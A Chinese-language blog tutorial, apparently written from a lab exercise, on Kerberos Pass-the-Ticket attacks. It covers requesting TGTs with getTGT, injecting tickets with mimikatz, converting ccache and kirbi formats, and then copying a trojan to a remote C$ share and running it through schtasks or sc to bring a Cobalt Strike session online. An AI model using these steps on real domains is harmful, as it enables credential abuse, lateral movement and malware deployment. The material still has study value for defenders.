当前位置: 首页 > news >正文

PTT票据传递攻击

一. PTT票据传递攻击原理

1.PTT介绍

PTT(Pass The Ticket),中文叫票据传递攻击,PTT 攻击只能用于kerberos认证中,NTLM认证中没有, PTT是通过票据进行认证的。

进行票据传递,不需要提权,域用户或者system用户就可以

在认证的过程中主要涉及2个票据:

TGT
ST
2.如何得到TGT和ST
通过域账号明文密码
通过域账号的NTLM-HASH
通过域账号的ASE
直接伪造
通过系统漏洞

二. PTT攻击的利用条件

1.进行PTT传递认证的条件
必须是域环境,域内才可以PTT
必须拥有相应的票据(主要是域管理员票据)
2.不同权限下票据传递的结果
  • 第一步:利用getTGT工具申请不同用户的票据
    域管用户(administrator),域内普通管理员(LEE),域内普通用户(test)

    getTGT.exe 域名/用户名:秘密(hash值)
    

在这里插入图片描述

  • 第二步:利用mimikatz进行票据传递

    命令:
    kerberos::ptc ccache文件 将票据注入内存中
    klist(cmd),kerberos::list(mimikatz)  查看票据列表
    klist purge(cmd),kerberos::purge(mimikatz) 清除本地票据
    

域管用户(administrator)
在这里插入图片描述
进行传递
DC(server 2012)
在这里插入图片描述
TWO-PC(server 2008)
在这里插入图片描述
FOUR-PC(server 2003)
在这里插入图片描述
查看票据
在这里插入图片描述
域内普通管理员(LEE)

在这里插入图片描述
进行传递
在这里插入图片描述
查看票据
在这里插入图片描述

域内普通用户(test)
在这里插入图片描述
进行传递
在这里插入图片描述
查看票据
在这里插入图片描述

总结
只有域管administrator和普通管理员的票据有权限进行PTT票据传递,而普通用户不行!

三. ccache和kirbi票据转换

不同的工具生成的票据后缀不一样常见的有两种Ccache和Kirbi,类似于压缩包rar和zip都是压缩文件

比如:getTgt生成的是Ccache, Kekeo生成Kirbi

1.使用kekeo生成票据
命令:Tgt::ask /user:域用户 /domain:域名 /password:密码
Gettgt命令 域名/域用户:密码

在这里插入图片描述
使用mimikatz打入内存中
在这里插入图片描述
这里文件后缀不同,要选择相应的方式
在这里插入图片描述

2.票据格式转换

后续我们的实验中不管生成哪种,都可以使用mimikatz进行传递
Kerberos::ptt
Kerberos::ptc
当然两种票据也可以相互转化使用ticketConverter.exe
命令: ticketConverter.exe xxx.ccache xxx.kirbi

四. 使用PTT进行CS上线

将票据导入内存中通信后
在这里插入图片描述
其实接下来和之前的步骤一样,先将木马copy到对方C盘

copy 木马 \\目标ip或者域名\C$

可以采用计划任务或者是服务的方式运行木马

计划任务
创建计划任务

schtasks /create /s IP /u 用户名 /p 密码 /tn 计划任务名称 /tr 实施任务 /sc onstart /RU system /F

运行计划任务

schtasks /run /s IP地址  /u username /p password /i /tn “计划任务名称”

删除计划任务

schtasks /delete /s IP地址 /u username /p password /tn “”计划任务名称“ /f

服务

创建服务

sc \\IP地址 create 服务名称 binpath="服务执行内容"

开启服务

sc \\IP地址 start 服务名称

删除服务

sc \\IP地址 delete 服务名称   

总结

  • PTH:用NTLM-HASH值进行认证-支持kerberos和NTLM认证
  • PTK:用AES值进行认证-只能用于kerberos认证
  • PTT:用票据进行认证-只能用于kerberos认证

相关文章:

  • 基于单片机电梯控制系统设计与实现
  • Vitis HLS 学习笔记--抽象并行编程模型-控制驱动与数据驱动
  • VBA读取文本文件数据
  • Docker(一) Docker概述
  • 【全部更新完毕】2024电工杯B题详细思路代码成品文章教学:大学生平衡膳食食谱的优化设计及评价
  • 政策及需求多因素驱动下 中国适老化改造市场空间大
  • Web3 游戏平台 Creo Engine 销毁代币总量的20%,以促进长远发展
  • 2413. 最小偶倍数
  • 《TCP/IP网络编程》(第八章)域名及网络地址
  • 项目日记(3) boost搜索引擎
  • LabVIEW如何确保自动化设备的稳定性和可靠性?
  • RocketMQ使用(3):消息重复
  • 其它高阶数据结构⑦_Skiplist跳表_概念+实现+对比
  • 人工智能应用-实验8-用生成对抗网络生成数字图像
  • 计网(部分在session学习章)
  • 网络传输文件的问题
  • 07.Android之多媒体问题
  • angular组件开发
  • Computed property XXX was assigned to but it has no setter
  •  D - 粉碎叛乱F - 其他起义
  • Js基础知识(四) - js运行原理与机制
  • laravel5.5 视图共享数据
  • Leetcode 27 Remove Element
  • Promise初体验
  • React as a UI Runtime(五、列表)
  • React Native移动开发实战-3-实现页面间的数据传递
  • React16时代,该用什么姿势写 React ?
  • Vue2.x学习三:事件处理生命周期钩子
  • Web设计流程优化:网页效果图设计新思路
  • 阿里云应用高可用服务公测发布
  • 包装类对象
  • 精益 React 学习指南 (Lean React)- 1.5 React 与 DOM
  • 如何打造100亿SDK累计覆盖量的大数据系统
  • 深度学习中的信息论知识详解
  • 一起参Ember.js讨论、问答社区。
  • 一天一个设计模式之JS实现——适配器模式
  • 用Canvas画一棵二叉树
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • ​什么是bug?bug的源头在哪里?
  • # 安徽锐锋科技IDMS系统简介
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • $jQuery 重写Alert样式方法
  • (13)DroneCAN 适配器节点(一)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第14章泛型第2节(泛型类的类构造函数)
  • (M)unity2D敌人的创建、人物属性设置,遇敌掉血
  • (附源码)php投票系统 毕业设计 121500
  • (力扣记录)1448. 统计二叉树中好节点的数目
  • (新)网络工程师考点串讲与真题详解
  • (原創) 如何將struct塞進vector? (C/C++) (STL)
  • (转)linux自定义开机启动服务和chkconfig使用方法
  • (转)winform之ListView
  • ***利用Ms05002溢出找“肉鸡
  • .java 指数平滑_转载:二次指数平滑法求预测值的Java代码
  • .NET BackgroundWorker